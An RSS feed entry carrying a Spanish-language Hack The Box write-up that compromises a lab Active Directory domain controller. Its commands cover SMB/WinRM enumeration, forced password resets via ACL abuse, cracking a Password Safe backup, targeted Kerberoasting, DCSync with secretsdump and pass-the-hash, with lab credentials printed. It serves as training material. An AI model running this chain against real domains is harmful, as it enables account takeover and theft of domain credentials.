<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>DCSync on</title><link>https://synacklabs.github.io/tags/dcsync/</link><description>Recent content in DCSync on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Sat, 17 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/dcsync/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Administrator (Medium)</title><link>https://synacklabs.github.io/posts/administrator/</link><pubDate>Sat, 17 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/administrator/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es una muy buena introducción a &lt;strong&gt;Active Directory&lt;/strong&gt; si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por &lt;strong&gt;WinRM&lt;/strong&gt;, enumeramos el dominio con &lt;strong&gt;RustHound/BloodHound&lt;/strong&gt;, abusamos de &lt;strong&gt;ACLs (GenericAll / ForceChangePassword)&lt;/strong&gt; para pivotar entre usuarios, recuperamos credenciales desde un &lt;strong&gt;backup&lt;/strong&gt; en FTP y terminamos con una cadena clásica hacia &lt;strong&gt;DCSync&lt;/strong&gt; para obtener el hash de Administrator.&lt;/p&gt;
&lt;p&gt;Aunque en HTB aparece como &lt;em&gt;Medium&lt;/em&gt;, &lt;strong&gt;no me parece una máquina complicada&lt;/strong&gt;. La dificultad real está en entender el &lt;em&gt;camino&lt;/em&gt; de AD y qué significa cada permiso, más que en la explotación en sí.&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es una muy buena introducción a &lt;strong&gt;Active Directory&lt;/strong&gt; si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por &lt;strong&gt;WinRM&lt;/strong&gt;, enumeramos el dominio con &lt;strong&gt;RustHound/BloodHound&lt;/strong&gt;, abusamos de &lt;strong&gt;ACLs (GenericAll / ForceChangePassword)&lt;/strong&gt; para pivotar entre usuarios, recuperamos credenciales desde un &lt;strong&gt;backup&lt;/strong&gt; en FTP y terminamos con una cadena clásica hacia &lt;strong&gt;DCSync&lt;/strong&gt; para obtener el hash de Administrator.&lt;/p&gt;
&lt;p&gt;Aunque en HTB aparece como &lt;em&gt;Medium&lt;/em&gt;, &lt;strong&gt;no me parece una máquina complicada&lt;/strong&gt;. La dificultad real está en entender el &lt;em&gt;camino&lt;/em&gt; de AD y qué significa cada permiso, más que en la explotación en sí.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/3fde77c1-1af1-4b95-831e-6f03e9ae6057.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;p&gt;Arrancamos con un escaneo de puertos que ya nos da una pista clara: es un &lt;strong&gt;DC&lt;/strong&gt; (Kerberos, LDAP, SMB, WinRM, etc.).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;/tcp open ftp syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft ftpd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;47001&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="smb-445"&gt;SMB (445)&lt;/h3&gt;
&lt;p&gt;Con las credenciales proporcionadas podemos autenticarnos, pero la enumeración inicial no muestra nada especialmente útil.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc smb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; --shares
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Share Permissions Remark
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ADMIN$
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C$
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;IPC$ READ Remote IPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NETLOGON READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SYSVOL READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc smb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; --users
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;olivia
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;benjamin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emily
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ethan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alexander
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emma
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="acceso-inicial-por-winrm"&gt;Acceso inicial por WinRM&lt;/h3&gt;
&lt;p&gt;El siguiente paso lógico es probar WinRM, y efectivamente con &lt;strong&gt;Olivia&lt;/strong&gt; podemos entrar.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc winrm &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WINRM &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 &lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt; DC [+] administrator.htb\Olivia&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ichliebedich (Pwn3d!)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="enumeración-de-ad-con-rusthound--bloodhound"&gt;Enumeración de AD con RustHound + BloodHound&lt;/h3&gt;
&lt;p&gt;Una vez dentro, enumeramos el dominio con &lt;strong&gt;RustHound-CE&lt;/strong&gt; y luego lo analizamos con BloodHound.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce --domain administrator.htb -u olivia@administrator.htb -z
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MachineAccountQuota&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;... .//20260117114901_administrator-htb_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; created!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el grafo vemos que &lt;strong&gt;Olivia&lt;/strong&gt; tiene &lt;strong&gt;GenericAll&lt;/strong&gt; sobre el usuario &lt;strong&gt;Michael&lt;/strong&gt;. En la práctica, esto nos permite forzar el cambio de contraseña del usuario sin conocer la actual.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The GenericAll permission grants &lt;a href="mailto:OLIVIA@ADMINISTRATOR.HTB"&gt;OLIVIA@ADMINISTRATOR.HTB&lt;/a&gt; the ability to change the password of the user &lt;a href="mailto:MICHAEL@ADMINISTRATOR.HTB"&gt;MICHAEL@ADMINISTRATOR.HTB&lt;/a&gt; without knowing their current password.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80e9-9e38-d04952ca8100.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="pivot-1-olivia--michael-forcechangepassword"&gt;Pivot 1: Olivia → Michael (ForceChangePassword)&lt;/h3&gt;
&lt;p&gt;Subimos &lt;a href="http://powerview.ps/"&gt;&lt;strong&gt;PowerView.ps&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;1&lt;/strong&gt; (por ejemplo, con &lt;code&gt;upload&lt;/code&gt; desde &lt;code&gt;evil-winrm&lt;/code&gt;) y cambiamos la contraseña de Michael usando las credenciales de Olivia.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$SecPassword = ConvertTo-SecureString &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; -AsPlainText -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$Cred = New-Object
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;System.Management
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.Automation.PSCredential(&lt;span style="color:#e6db74"&gt;&amp;#39;ADMINISTRATOR\\olivia&amp;#39;&lt;/span&gt;, $SecPassword)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$UserPassword = ConvertTo-SecureString &lt;span style="color:#e6db74"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; -AsPlainText -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto ya tenemos acceso como &lt;strong&gt;michael&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8026-9052-d9e91c5fbe0b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="pivot-2-michael--benjamin"&gt;Pivot 2: Michael → Benjamin&lt;/h3&gt;
&lt;p&gt;Siguiendo el camino del grafo, repetimos la misma idea: Michael puede forzar el cambio de password de &lt;strong&gt;Benjamin&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80da-8e46-f17321b7b796.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="ftp-recuperamos-un-backup-de-credenciales"&gt;FTP: recuperamos un backup de credenciales&lt;/h3&gt;
&lt;p&gt;Con Benjamin vemos algo nuevo: &lt;strong&gt;acceso a FTP&lt;/strong&gt;, donde encontramos un archivo de backup.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/1e271056-461f-40c4-98c2-f689545cfb96.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;13AM &lt;span style="color:#ae81ff"&gt;952&lt;/span&gt; Backup.psafe3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El archivo es una base de datos de &lt;strong&gt;Password Safe V3&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file Backup.psafe3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Backup.psafe3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Password Safe V3 database
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Extraemos el hash y lo crackeamos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80c4-9c5d-dd2207911152.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8094-8c58-cf4b7817fe09.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Abrimos el gestor y obtenemos 3 credenciales:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8009-8081-deeb60a335b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80d0-9294-c5225410b0c6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="camino-a-domain-admin"&gt;Camino a Domain Admin&lt;/h3&gt;
&lt;p&gt;En BloodHound, mirando el &lt;strong&gt;Shortest Path to Domain Admin&lt;/strong&gt;, vemos una ruta clara:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Emily&lt;/strong&gt; tiene &lt;strong&gt;GenericWrite&lt;/strong&gt; sobre &lt;strong&gt;Ethan&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Si comprometemos Ethan, podemos hacer &lt;strong&gt;DCSync&lt;/strong&gt; para dumpear los hashes del dominio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80e9-90d0-db836a402fb8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="intento-shadow-credentials-no-soportado"&gt;Intento: Shadow Credentials (no soportado)&lt;/h3&gt;
&lt;p&gt;Probamos &lt;strong&gt;Shadow Credentials&lt;/strong&gt;, pero el KDC no soporta autenticación con certificados y falla con:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;minikerberos.protocol.errors.KerberosError&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Error Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; KDC_ERR_PADATA_TYPE_NOSUPP
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="alternativa-kerberoasting-dirigido"&gt;Alternativa: Kerberoasting dirigido&lt;/h3&gt;
&lt;p&gt;Sin Shadow Credentials, seguimos por &lt;strong&gt;Kerberoasting&lt;/strong&gt;. Primero sincronizamos la hora para evitar problemas con Kerberos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ntpdate -u &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 &amp;amp;&amp;amp; python
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;targetedKerberoast.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v -d &lt;span style="color:#e6db74"&gt;&amp;#39;administrator.htb&amp;#39;&lt;/span&gt; -u &lt;span style="color:#e6db74"&gt;&amp;#39;emily&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Crackeamos el hash y obtenemos la password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hashcat -m &lt;span style="color:#ae81ff"&gt;13100&lt;/span&gt; ethan.hash /usr/share/wordlists/seclists/rockyou.txt --&amp;gt; limpbizkit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="dcsync-y-escalada-final"&gt;DCSync y escalada final&lt;/h3&gt;
&lt;p&gt;Con Ethan hacemos &lt;strong&gt;DCSync&lt;/strong&gt; para obtener los hashes del dominio.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;impacket-secretsdump -outputfile administrator_hashes -just-dc administrator/ethan@10.129.75.64
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80c5-b3ba-ce95d17f8374.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Finalmente hacemos &lt;strong&gt;PtH&lt;/strong&gt; con el hash de Administrator y quedamos &lt;em&gt;pwned&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8061-a235-d4642ed67b2b.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>